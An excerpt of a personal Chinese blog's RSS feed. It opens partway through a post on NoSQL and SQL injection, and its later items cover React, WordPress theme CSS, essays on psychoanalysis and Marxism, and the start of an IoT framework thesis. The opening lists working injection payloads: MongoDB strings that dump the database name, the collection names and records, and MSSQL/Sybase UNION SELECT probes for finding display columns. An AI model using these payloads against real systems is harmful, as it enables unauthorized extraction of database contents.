<p>首先要获得代码，否则将很难注入。</p>
</li>
<li>
<p>获取回显：’}); return ({title:1,content:’2</p>
<ul>
<li>⚠️这里假如不知道字段名要靠猜，这也是MongoDB注入点少的原因。</li>
</ul>
</li>
<li>
<p>库名</p>
</li>
</ol>
<pre><code class="language-python line-numbers">'}); return ({title:tojson(db),content:’2
</code></pre>
<ol start="4">
  <li>
    表名
  </li>
</ol>
<pre><code class="language-python line-numbers">'}); return ({title:tojson(db.getCollectionNames()),content:’2
</code></pre>
<ol start="5">
  <li>
    列名、数据
  </li>
</ol>
<pre><code class="language-python line-numbers">'}); return ({title:tojson(db.Authority_confidential.find[0]),content:’2
'}); return ({title:tojson(db.Authority_confidential.find[1]),content:’2
</code></pre>
<h2 id="八mssql和sybase注入">八、MSSQL和Sybase注入</h2>
<ol>
<li>order by 4</li>
<li>回显：</li>
</ol>
<pre><code class="language-sql line-numbers">union all select ‘null’,null,null,null
union all select null,’null’,null,null //显示null说明回显位为2
union all select null,null,’null’,null
union all select null,null,null,’null’
</code></pre>
<ol start="3">
  <li>
    猜列名猜表名基本一致
  </li>
</ol>
]]></content:encoded>
    </item>
    
    <item>
      <title>React 起步</title>
      <link>https://weibo.io/2021/09/react-%E8%B5%B7%E6%AD%A5/</link>
      <pubDate>Mon, 27 Sep 2021 00:00:00 +0000</pubDate>
      
      <guid>https://weibo.io/2021/09/react-%E8%B5%B7%E6%AD%A5/</guid>
      <description>React 16.8
Babel ES6==&amp;gt;ES5, JSX==&amp;gt;JS react.dev react-dom.dev </description>
      <content:encoded><![CDATA[<p>React 16.8</p>
<ul>
<li>Babel ES6==&gt;ES5, JSX==&gt;JS</li>
<li>react.dev</li>
<li>react-dom.dev</li>
<li></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>微调Dashscroll的显示效果</title>
      <link>https://weibo.io/2021/09/%E5%BE%AE%E8%B0%83dashscroll%E7%9A%84%E6%98%BE%E7%A4%BA%E6%95%88%E6%9E%9C/</link>
      <pubDate>Sun, 26 Sep 2021 10:18:45 +0000</pubDate>
      
      <guid>https://weibo.io/2021/09/%E5%BE%AE%E8%B0%83dashscroll%E7%9A%84%E6%98%BE%E7%A4%BA%E6%95%88%E6%9E%9C/</guid>
      <description>找到wp-content/themes/dashscroll/content.php，注释其中的“Read More”和Left（头像）相关内容。
找到同目录下的footer.php，注释copyright、credit相关内容。
使用以下自定义CSS来自定义背景并解决移动端页面不换行的问题：
.wp-block-themeisle-blocks-advanced-column p{white-space:normal;word-wrap: break-word; word-break: normal;} .content {background:#fbfbfb;} </description>
      <content:encoded><![CDATA[<p>找到wp-content/themes/dashscroll/content.php，注释其中的“Read More”和Left（头像）相关内容。</p>
<p>找到同目录下的footer.php，注释copyright、credit相关内容。</p>
<p>使用以下自定义CSS来自定义背景并解决移动端页面不换行的问题：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-css" data-lang="css"><span style="display:flex;"><span>.<span style="color:#a6e22e">wp-block-themeisle-blocks-advanced-column</span> <span style="color:#f92672">p</span>{<span style="color:#66d9ef">white-space</span>:<span style="color:#66d9ef">normal</span>;<span style="color:#66d9ef">word-wrap</span>: <span style="color:#66d9ef">break-word</span>; <span style="color:#66d9ef">word-break</span>: <span style="color:#66d9ef">normal</span>;}
</span></span><span style="display:flex;"><span>.<span style="color:#a6e22e">content</span> {<span style="color:#66d9ef">background</span>:<span style="color:#ae81ff">#fbfbfb</span>;}
</span></span></code></pre></div>]]></content:encoded>
    </item>
    
    <item>
      <title>自恋与力量</title>
      <link>https://weibo.io/2021/06/%E8%87%AA%E6%81%8B%E4%B8%8E%E5%8A%9B%E9%87%8F/</link>
      <pubDate>Wed, 30 Jun 2021 14:08:51 +0000</pubDate>
      
      <guid>https://weibo.io/2021/06/%E8%87%AA%E6%81%8B%E4%B8%8E%E5%8A%9B%E9%87%8F/</guid>
      <description>早已有人指出，人类自从丧失其内在的本能规划，摆脱了其动物本性，便不知道为何要继续维持自己的生存，也不再知道自己存在的意义为何。自恋是人“说服自己”、努力维持生存的动力之一。而恶性自恋的本质是其丧失了自我检查的能力：恶性自恋建立在占有的基础上，包括非功能性的占有和功能性的消费。当然，消费绝不仅限于金钱花费，例如语言（流行语）也是一种重要的消费形式。事实上，现代人语境下的所谓的“兴趣”，本质上就是消费偏好而已。
之前提到，个体在面对人类社会时的力量不足，由此引发的不自觉的顺从导致内在力量的进一步丧失，无论是顺从家庭、国家、政党、社会机构（如学校）、某些“恶法”等等，都会因为自主性的丧失引发内在的恐慌和敌意，并可能进一步滋生乱伦固恋。这涉及人本主义理论对弗洛伊德经典精神分析作出的重要修正之一：性并非恋母情结的原因，而是结果。这一点可以从女性的与男性同样强烈的恋母情结中得到印证，而弗洛伊德的性驱动理论不能解释这一点。
我依然相信，阶级斗争的本质是生产力的斗争（主要体现为利益分配上的斗争），廉价商品是世界上最强大的武器之一（在自由贸易的基础上）。当下资本收益远大于劳动收益的事实也侧面印证资本主义在目前依然具有的强大活力。阶级斗争的本质要求人不断提升生产力，即主要侧重于“结果”。这正好符合良性自恋的本质：即建立在“达成”上的自恋。因此我相信，良性自恋有着释放巨大力量的潜力。个体通过不断提升自我的生产力，以此维持阶级生产力的高速发展，也许是未来发展的趋势。
几百年过去了，飘荡在资本主义世界的幽灵——生产过剩依然没有消失，即使资本主义自身经历了多次自我修订，从现在看来，也已逐渐步入暮年。也许能在有生之年看到资本主义的自我革命或掠夺失败导致的“被革命”。</description>
      <content:encoded><![CDATA[<p>早已有人指出，人类自从丧失其内在的本能规划，摆脱了其动物本性，便不知道为何要继续维持自己的生存，也不再知道自己存在的意义为何。自恋是人“说服自己”、努力维持生存的动力之一。而恶性自恋的本质是其丧失了自我检查的能力：恶性自恋建立在占有的基础上，包括非功能性的占有和功能性的消费。当然，消费绝不仅限于金钱花费，例如语言（流行语）也是一种重要的消费形式。事实上，现代人语境下的所谓的“兴趣”，本质上就是消费偏好而已。</p>
<p>之前提到，个体在面对人类社会时的力量不足，由此引发的不自觉的顺从导致内在力量的进一步丧失，无论是顺从家庭、国家、政党、社会机构（如学校）、某些“恶法”等等，都会因为自主性的丧失引发内在的恐慌和敌意，并可能进一步滋生乱伦固恋。这涉及人本主义理论对弗洛伊德经典精神分析作出的重要修正之一：性并非恋母情结的原因，而是结果。这一点可以从女性的与男性同样强烈的恋母情结中得到印证，而弗洛伊德的性驱动理论不能解释这一点。</p>
<p>我依然相信，阶级斗争的本质是生产力的斗争（主要体现为利益分配上的斗争），廉价商品是世界上最强大的武器之一（在自由贸易的基础上）。当下资本收益远大于劳动收益的事实也侧面印证资本主义在目前依然具有的强大活力。阶级斗争的本质要求人不断提升生产力，即主要侧重于“结果”。这正好符合良性自恋的本质：即建立在“达成”上的自恋。因此我相信，良性自恋有着释放巨大力量的潜力。个体通过不断提升自我的生产力，以此维持阶级生产力的高速发展，也许是未来发展的趋势。</p>
<p>几百年过去了，飘荡在资本主义世界的幽灵——生产过剩依然没有消失，即使资本主义自身经历了多次自我修订，从现在看来，也已逐渐步入暮年。也许能在有生之年看到资本主义的自我革命或掠夺失败导致的“被革命”。</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>以人为本的本质是人类社会的以人为本</title>
      <link>https://weibo.io/2020/06/%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC%E7%9A%84%E6%9C%AC%E8%B4%A8%E6%98%AF%E4%BA%BA%E7%B1%BB%E7%A4%BE%E4%BC%9A%E7%9A%84%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC/</link>
      <pubDate>Mon, 21 Jun 2021 14:08:10 +0000</pubDate>
      
      <guid>https://weibo.io/2020/06/%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC%E7%9A%84%E6%9C%AC%E8%B4%A8%E6%98%AF%E4%BA%BA%E7%B1%BB%E7%A4%BE%E4%BC%9A%E7%9A%84%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC/</guid>
      <description>我们已经知道人孤独的本质。在面对自然时我们使用创造来发挥力量；在面对接触到的人时我们使用爱来发挥力量。那么问题来了，面对整个人类社会时，我们的力量在哪里？我们似乎只能通过顺从来求存。人类社会比自然界对人弱点的研究更加深入、更加有针对性，同时控制本身也更加无孔不入。这种无力感可能在绝大多数时候难以察觉，那可能是因为他已经不自觉地参与服从了。
面对人类社会的种种力量，国家机器、制度、文化、舆论、军队、警察、官僚系统的监视和支配时，人面临与他面临自然、他人时所经历的同样的无力感，我们却找不到什么办法去证明自己的力量，只能在顺从的同时寄希望于社会本身的变革。换句话说，社会的各项制度本应是为人而服务，目标在于解决人的基本生存问题，同时服务于人的最大幸福——也就是人本主义。
人类社会带我们摆脱自然界的束缚，却带我们进入了全新的束缚，我们重新体验到了自己的无力感，我们证明自己力量的方法只能是，某种“一时兴起”的“自由”。互联网的兴起加强了舆论对我们的束缚（也许传播学能告诉我们如何在舆论面前发挥自己的力量）。脱离了人类社会我们就无法生存，但人类社会也控制着我们使我们产生各种各样的无力感——这是一对基本矛盾。如何才能在人类社会中安身立命，又能摆脱这种无力感呢？资本主义社会办不到。
在面对无力感时，人产生的近乎于本能的反应（其实很多是早期经验），可以参考《逃避的心理机构》的相关内容。
庞大的中产阶级群体是财政收入的重要保障，但在面临社会变革时，他们也是最大的保守力量。
我想总结一下我的看法——人本主义精神分析主要研究如何解决内在的问题，而外在的问题也就是人类社会的问题同样不可忽视（第一段中的基本矛盾），这也就是马克思主义的伟大之处。但马克思主义者由于传统的原因常常忽视心理学，经典精神分析由于其机械唯物主义的哲学基础而难以与马克思主义相结合。</description>
      <content:encoded><![CDATA[<p>我们已经知道人孤独的本质。在面对自然时我们使用创造来发挥力量；在面对接触到的人时我们使用爱来发挥力量。那么问题来了，面对整个人类社会时，我们的力量在哪里？我们似乎只能通过顺从来求存。人类社会比自然界对人弱点的研究更加深入、更加有针对性，同时控制本身也更加无孔不入。这种无力感可能在绝大多数时候难以察觉，那可能是因为他已经不自觉地参与服从了。</p>
<p>面对人类社会的种种力量，国家机器、制度、文化、舆论、军队、警察、官僚系统的监视和支配时，人面临与他面临自然、他人时所经历的同样的无力感，我们却找不到什么办法去证明自己的力量，只能在顺从的同时寄希望于社会本身的变革。换句话说，社会的各项制度本应是为人而服务，目标在于解决人的基本生存问题，同时服务于人的最大幸福——也就是人本主义。</p>
<p>人类社会带我们摆脱自然界的束缚，却带我们进入了全新的束缚，我们重新体验到了自己的无力感，我们证明自己力量的方法只能是，某种“一时兴起”的“自由”。互联网的兴起加强了舆论对我们的束缚（也许传播学能告诉我们如何在舆论面前发挥自己的力量）。脱离了人类社会我们就无法生存，但人类社会也控制着我们使我们产生各种各样的无力感——这是一对基本矛盾。如何才能在人类社会中安身立命，又能摆脱这种无力感呢？资本主义社会办不到。</p>
<p>在面对无力感时，人产生的近乎于本能的反应（其实很多是早期经验），可以参考《逃避的心理机构》的相关内容。</p>
<p>庞大的中产阶级群体是财政收入的重要保障，但在面临社会变革时，他们也是最大的保守力量。</p>
<p>我想总结一下我的看法——人本主义精神分析主要研究如何解决内在的问题，而外在的问题也就是人类社会的问题同样不可忽视（第一段中的基本矛盾），这也就是马克思主义的伟大之处。但马克思主义者由于传统的原因常常忽视心理学，经典精神分析由于其机械唯物主义的哲学基础而难以与马克思主义相结合。</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>两种解放之间的矛盾</title>
      <link>https://weibo.io/2021/06/%E4%B8%A4%E7%A7%8D%E8%A7%A3%E6%94%BE%E4%B9%8B%E9%97%B4%E7%9A%84%E7%9F%9B%E7%9B%BE/</link>
      <pubDate>Mon, 21 Jun 2021 14:07:19 +0000</pubDate>
      
      <guid>https://weibo.io/2021/06/%E4%B8%A4%E7%A7%8D%E8%A7%A3%E6%94%BE%E4%B9%8B%E9%97%B4%E7%9A%84%E7%9F%9B%E7%9B%BE/</guid>
      <description>以精神分析为代表的内在解放与以马克思主义为代表的外在解放（阶级斗争）之间蕴含的是人所具有的一对矛盾。
精神分析是指导人探索人的本质动力的心理哲学，在辩证唯物主义哲学体系出现后，我们重新审视以机械唯物主义为哲学基础的弗洛伊德经典精神分析，并对经典精神分析理论做了一系列改造（或变革）。
阶级斗争的本质是生产力的斗争，它要求人不断提升生产力水平。资本主义经过一系列改良，从目前来看依然能够适应并驱动生产力水平的提升，因此我们可以说，资本主义目前仍然具有它的活力。
社会主义的优越性本质是其更加适应极高生产力水平条件下的发展，而资本主义则更加适应较低生产力水平下的生产力发展，我们说资本主义在当下仍然具有活力，我国也产生了“社会主义初级阶段”的“类资本主义”社会阶段，但当生产力水平发展到一定阶段，资本主义将会自发消失，因为它阻碍了生产力的发展，必将会被推倒。
社会主义的优越性本质必然包含生产力水平的更高速发展，因为如果社会主义不能满足这个要求，则必然被生产力水平更高的资本主义消灭，所谓的“优越性”也就成了一种自嗨。
而精神分析所指导的“积极行为”则是忽略结果的——也即，创造行为本身既是注重结果的，又是忽略结果的。这又是关于“人的解放”的一对矛盾。</description>
      <content:encoded><![CDATA[<p>以精神分析为代表的内在解放与以马克思主义为代表的外在解放（阶级斗争）之间蕴含的是人所具有的一对矛盾。</p>
<p>精神分析是指导人探索人的本质动力的心理哲学，在辩证唯物主义哲学体系出现后，我们重新审视以机械唯物主义为哲学基础的弗洛伊德经典精神分析，并对经典精神分析理论做了一系列改造（或变革）。</p>
<p>阶级斗争的本质是生产力的斗争，它要求人不断提升生产力水平。资本主义经过一系列改良，从目前来看依然能够适应并驱动生产力水平的提升，因此我们可以说，资本主义目前仍然具有它的活力。</p>
<p>社会主义的优越性本质是其更加适应极高生产力水平条件下的发展，而资本主义则更加适应较低生产力水平下的生产力发展，我们说资本主义在当下仍然具有活力，我国也产生了“社会主义初级阶段”的“类资本主义”社会阶段，但当生产力水平发展到一定阶段，资本主义将会自发消失，因为它阻碍了生产力的发展，必将会被推倒。</p>
<p>社会主义的优越性本质必然包含生产力水平的更高速发展，因为如果社会主义不能满足这个要求，则必然被生产力水平更高的资本主义消灭，所谓的“优越性”也就成了一种自嗨。</p>
<p>而精神分析所指导的“积极行为”则是忽略结果的——也即，创造行为本身既是注重结果的，又是忽略结果的。这又是关于“人的解放”的一对矛盾。</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>TinyCenter</title>
      <link>https://weibo.io/2020/05/TinyCenter/</link>
      <pubDate>Tue, 26 May 2020 10:18:45 +0000</pubDate>
      
      <guid>https://weibo.io/2020/05/TinyCenter/</guid>
      <description>TinyCenter **
TinyCenter | 基于云端的物联网设备控制和协同工作框架**
**摘 要：**物联网正在逐渐的进入到大众的生活当中，并即将促使人类进入下一个智能时代。尽管市面上有很多物联网管理系统，但几乎都不支持用户代码、数据监控等功能。本设计提出了一个更具潜力的系统，系统对各个组件之间进行了分层、分区管理：使用中心控制器实现了信息的自动配送机制，辅助控制器提供了区分公共设备和私有设备的能力，Client端中提供了指令的标准化解析方法。而在服务器端，设备驱动将抽象的指令信息具象化，并使用类标记来同时管理那些在某方面相似的设备，自定义按钮使得用户可以快捷地完成操作；基本数据表可以存放设备的自定义数据，基本指令队列保证指令存取操作的原子性；用户代码运行环境是本系统最重要的创新和特色功能，支持用户自定义代码，该环境简单易学，不仅可以过滤危险的用户代码，内置的Userlib还为用户随时随地个性化管理设备提供了无限可能；设备选择器不仅可以依据中心控制器划分不同的管理区域，还可以根据设备的类和编号管理设备，通过不同限制的组合进行精细化管理；通过统一高效的数据监视器，实现了传感器与其他设备之间的自动化配合，以此可以实现多个设备间的协同工作，同时考虑了传感器数值变化的延迟性，设计了反向重复的算法避免了代码的重复执行；串行指令不仅可以获取指令执行成功与否，还可以在指令执行完成后自动执行用户指定的其他代码，实现了指令与指令之间的同步，有能力完成更加精细化的设备管理操作；权限控制系统规定了不同用户控制设备的范围，也可以阻止不明设备接入系统；日志系统可以记录系统中出现的错误，用户通知中心可以实时提醒用户设备的当前状态。配合Android客户端的使用，解决了许多实实在在的问题。
**关键词：**物联网 控制 协同工作 框架
TinyCenter—IoT Control and Collaboration Framework Based on Cloud Service
Abstract: The Internet of things is gradually entering into the life of the public, and it will promote human to enter the next intelligent era. Although there are many Internet of things management systems on the market, their functions are not perfect. This graduation project puts forward a more potential system, which manages the components in layers and zones: the Center Controller is used to realize the automatic distribution mechanism of information, the Accessiorial Controller provides the ability to distinguish public equipment from private equipment, and the Client provides the standardized analysis method of instructions.</description>
      <content:encoded><![CDATA[<h1 id="tinycenter">TinyCenter</h1>
<p>**<br>
TinyCenter | 基于云端的物联网设备控制和协同工作框架**</p>
<p>**摘
要：**物联网正在逐渐的进入到大众的生活当中，并即将促使人类进入下一个智能时代。尽管市面上有很多物联网管理系统，但几乎都不支持用户代码、数据监控等功能。本设计提出了一个更具潜力的系统，系统对各个组件之间进行了分层、分区管理：使用中心控制器实现了信息的自动配送机制，辅助控制器提供了区分公共设备和私有设备的能力，Client端中提供了指令的标准化解析方法。而在服务器端，设备驱动将抽象的指令信息具象化，并使用类标记来同时管理那些在某方面相似的设备，自定义按钮使得用户可以快捷地完成操作；基本数据表可以存放设备的自定义数据，基本指令队列保证指令存取操作的原子性；用户代码运行环境是本系统最重要的创新和特色功能，支持用户自定义代码，该环境简单易学，不仅可以过滤危险的用户代码，内置的Userlib还为用户随时随地个性化管理设备提供了无限可能；设备选择器不仅可以依据中心控制器划分不同的管理区域，还可以根据设备的类和编号管理设备，通过不同限制的组合进行精细化管理；通过统一高效的数据监视器，实现了传感器与其他设备之间的自动化配合，以此可以实现多个设备间的协同工作，同时考虑了传感器数值变化的延迟性，设计了反向重复的算法避免了代码的重复执行；串行指令不仅可以获取指令执行成功与否，还可以在指令执行完成后自动执行用户指定的其他代码，实现了指令与指令之间的同步，有能力完成更加精细化的设备管理操作；权限控制系统规定了不同用户控制设备的范围，也可以阻止不明设备接入系统；日志系统可以记录系统中出现的错误，用户通知中心可以实时提醒用户设备的当前状态。配合Android客户端的使用，解决了许多实实在在的问题。</p>
<p>**关键词：**物联网 控制 协同工作 框架</p>
<p><strong>TinyCenter—IoT Control and Collaboration Framework Based on Cloud Service</strong></p>
<p><strong>Abstract:</strong> The Internet of things is gradually entering into the life of the
public, and it will promote human to enter the next intelligent era. Although
there are many Internet of things management systems on the market, their
functions are not perfect. This graduation project puts forward a more potential
system, which manages the components in layers and zones: the Center Controller
is used to realize the automatic distribution mechanism of information, the
Accessiorial Controller provides the ability to distinguish public equipment
from private equipment, and the Client provides the standardized analysis method
of instructions. On the server side, the device driver visualizes the abstract
instructions, uses class tags to manage similar devices, and the user-defined
buttons enable the user to complete the operation quickly; the basic data table
can store the user-defined data of the device, and the basic instruction queue
ensures the atomicity of the instruction access operation; the user code
operation environment is the most important innovation and feature of the
system, which support user-defined code, the environment is simple and easy to
learn, not only can filter dangerous user code, but also the built-in userlib
provides unlimited possibilities for users to personalized manage the device
anytime and anywhere; the device selector can not only divide different
management areas according to the center controller, but also manage the device
according to the class and number of the device, through the combination of
different restrictions, refined management will be realized; a unified and
efficient data monitor, which realizes the automatic cooperation between sensors
and other devices, so as to realize the cooperative work among multiple devices;
serial instructions can not only obtain the success of instruction execution,
but also automatically complete the operations specified by users after
execution, so as to realize the synchronization between instructions and have
the ability to complete More refined equipment management operations; the
authority control system specifies the scope of different user control
equipment, and it can also prevent unknown equipment from accessing the system;
the log system can record errors in the system, and the user notification center
can remind the user of the current status of the equipment in real time. With
the use of Android client, many practical problems have been solved.</p>
<p><strong>Keywords:</strong> IoT; control; collaboration; framework</p>
<p>**<br>
**</p>
<p><strong>正文目录</strong></p>
<p><a href="#_Toc42679715">1	绪论	7</a></p>
<blockquote>
<p><a href="#_Toc42679716">1.1	研究背景	7</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679717">1.2	研究目的和意义	7</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679718">1.3	现状与发展趋势	7</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679719">1.3.1	国内现状	7</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679720">1.3.2	国外现状	8</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679721">1.3.3	存在的问题	8</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679722">1.4	论文组织结构	9</a></p>
</blockquote>
<p><a href="#_Toc42679723">2	系统需求与总体设计	10</a></p>
<blockquote>
<p><a href="#_Toc42679724">2.1	总体框架设计	10</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679725">2.2	系统功能需求	11</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679726">2.2.1	中心控制器	11</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679727">2.2.2	辅助控制器	11</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679728">2.2.3	设备Client端	12</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679729">2.2.4	服务器端	12</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679730">2.2.5	系统Android端	13</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679731">2.3	相关技术概述	14</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679732">2.4	本章小结	15</a></p>
</blockquote>
<p><a href="#_Toc42679733">3	嵌入式设备的软件设计和实现	16</a></p>
<blockquote>
<p><a href="#_Toc42679734">3.1	中心控制器	16</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679735">3.1.1	总体设计	16</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679736">3.1.2	模块ParseData	17</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679737">3.1.3	模块CloudHandler	17</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679738">3.1.4	模块AccessorialControllerHandler	18</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679739">3.1.5	模块MQTTHandler	18</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679740">3.1.6	类CenterController	19</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679741">3.2	辅助控制器	21</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679742">3.2.1	总体设计	21</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679743">3.2.2	信息的获取和发送	21</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679744">3.2.3	系统的离线运行	22</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679745">3.3	Client设备	23</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679746">3.3.1	简述	23</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679747">3.3.2	响应用户指令——修改justRunOrder函数	23</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679748">3.4	使用屏幕——一个应用辅助控制器的实例	25</a></p>
</blockquote>
<p><a href="#_Toc42679749">4	云端软件设计和实现	27</a></p>
<blockquote>
<p><a href="#_Toc42679750">4.1	基本框架综述	27</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679751">4.1.1	综述	27</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679752">4.1.2	设备信息的存储方式	27</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679753">4.1.3	新设备的接入	28</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679754">4.2	设备驱动	28</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679755">4.2.1	指令的结构	28</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679756">4.2.2	设备的类	28</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679757">4.2.3	设备驱动的含义	29</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679758">4.2.4	设备驱动的查找方式	29</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679759">4.2.5	快捷操作——自定义命令按钮	30</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679760">4.3	基本数据表	30</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679761">4.3.1	基本数据表的含义	30</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679762">4.3.2	更新、修改和删除	31</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679763">4.4	基本指令队列	31</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679764">4.4.1	什么是基本指令队列	31</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679765">4.4.2	循环过程	32</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679766">4.5	用户代码运行环境	32</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679767">4.5.1	使用SaferEval	33</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679768">4.5.2	使用Userlib	33</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679769">4.5.3	设备选择器	35</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679770">4.6	数据监视器及其抽象形式	36</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679771">4.6.1	基本运行过程	37</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679772">4.6.2	数据监视器的抽象形式	38</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679773">4.6.3	选中和激活	38</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679774">4.6.4	三种运行模式	39</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679775">4.6.5	反向重复模式的一个例子	40</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679776">4.7	串行指令队列	41</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679777">4.7.1	使用serial_run函数	42</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679778">4.7.2	使用串行指令队列——以serial_run函数为例	42</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679779">4.8	权限控制	43</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679780">4.8.1	简述	43</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679781">4.8.2	设备的“所有者”（Owner）	43</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679782">4.9	信息反馈——日志和用户通知系统	43</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679783">4.9.1	日志系统	43</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679784">4.9.2	用户通知系统	44</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679785">4.10	与Android客户端的信息交互	44</a></p>
</blockquote>
<p><a href="#_Toc42679786">5	Android客户端软件设计	46</a></p>
<blockquote>
<p><a href="#_Toc42679787">5.1	用户登录页面	46</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679788">5.2	设备信息页面	46</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679789">5.2.1	所有设备	47</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679790">5.2.2	指令队列	47</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679791">5.2.3	监视器	48</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679792">5.2.4	日志	48</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679793">5.2.5	通知	49</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679794">5.2.6	关于	49</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679795">5.3	用户代码页面	50</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679796">5.4	实现模型	50</a></p>
</blockquote>
<p><a href="#_Toc42679797">6	实验与测试	53</a></p>
<blockquote>
<p><a href="#_Toc42679798">6.1	前期准备	53</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679799">6.2	实时温度计	54</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679800">6.2.1	准备工作	54</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679801">6.2.2	观察信息	55</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679802">6.3	数据监视器和快捷按钮	56</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679803">6.3.1	准备工作	56</a></p>
</blockquote>
<blockquote>
<p><a href="#_Toc42679804">6.3.2	操作与信息观察	57</a></p>
</blockquote>
<p><a href="#_Toc42679805">7	总结和展望	59</a></p>
<p><a href="#_Toc42679806">参考文献	60</a></p>
<h1 id="heading"></h1>
<h1 id="绪论">绪论</h1>
<h2 id="研究背景">研究背景</h2>
<p>物联网的概念最早在1995年被提出[1]，在比尔盖茨的《The road
ahead》一书中描述了相关的场景[2]。但是受限于的计算机科学和传感器技术，这个概念没有引起广泛的关注。1999年，美国Auto-ID重新提出了使得射频标签技术与互联网结合的设想，与物联网的概念不谋而合，引起了关注。2005年11月，国际电信联盟（ITU）在突尼斯举行了信息社会世界峰会（WSIS），会上发布了《ITU
Internet Reports 2005：The Internet od
Things》，“物联网”的概念被正式提出[3]。2009年1月，IBM首席执行官提出了“智慧地球”的构想，希望使用互联网将物联网整合起来，使得人类可以用更加精细和动态的方式管理生产和生活。物联网通过智能感知、识别技术与普适计算、泛在网络的融合应用，被称为继计算机、互联网之后世界信息产业发展的第三次浪潮。物联网也被认为是互联网的应用拓展，应用创新是物联网
发展的核心，而以用户体验为核心的创新是物联网发展的灵魂。根据CISCO的报告，世界物联网设备数量在2020年将达到500亿个。世界物联网的潜在经济影响为为每年2.7万亿美元至6.2万亿美元。因此，物联网行业具有十分广阔的市场和应用前景[4]。</p>
<h2 id="研究目的和意义">研究目的和意义</h2>
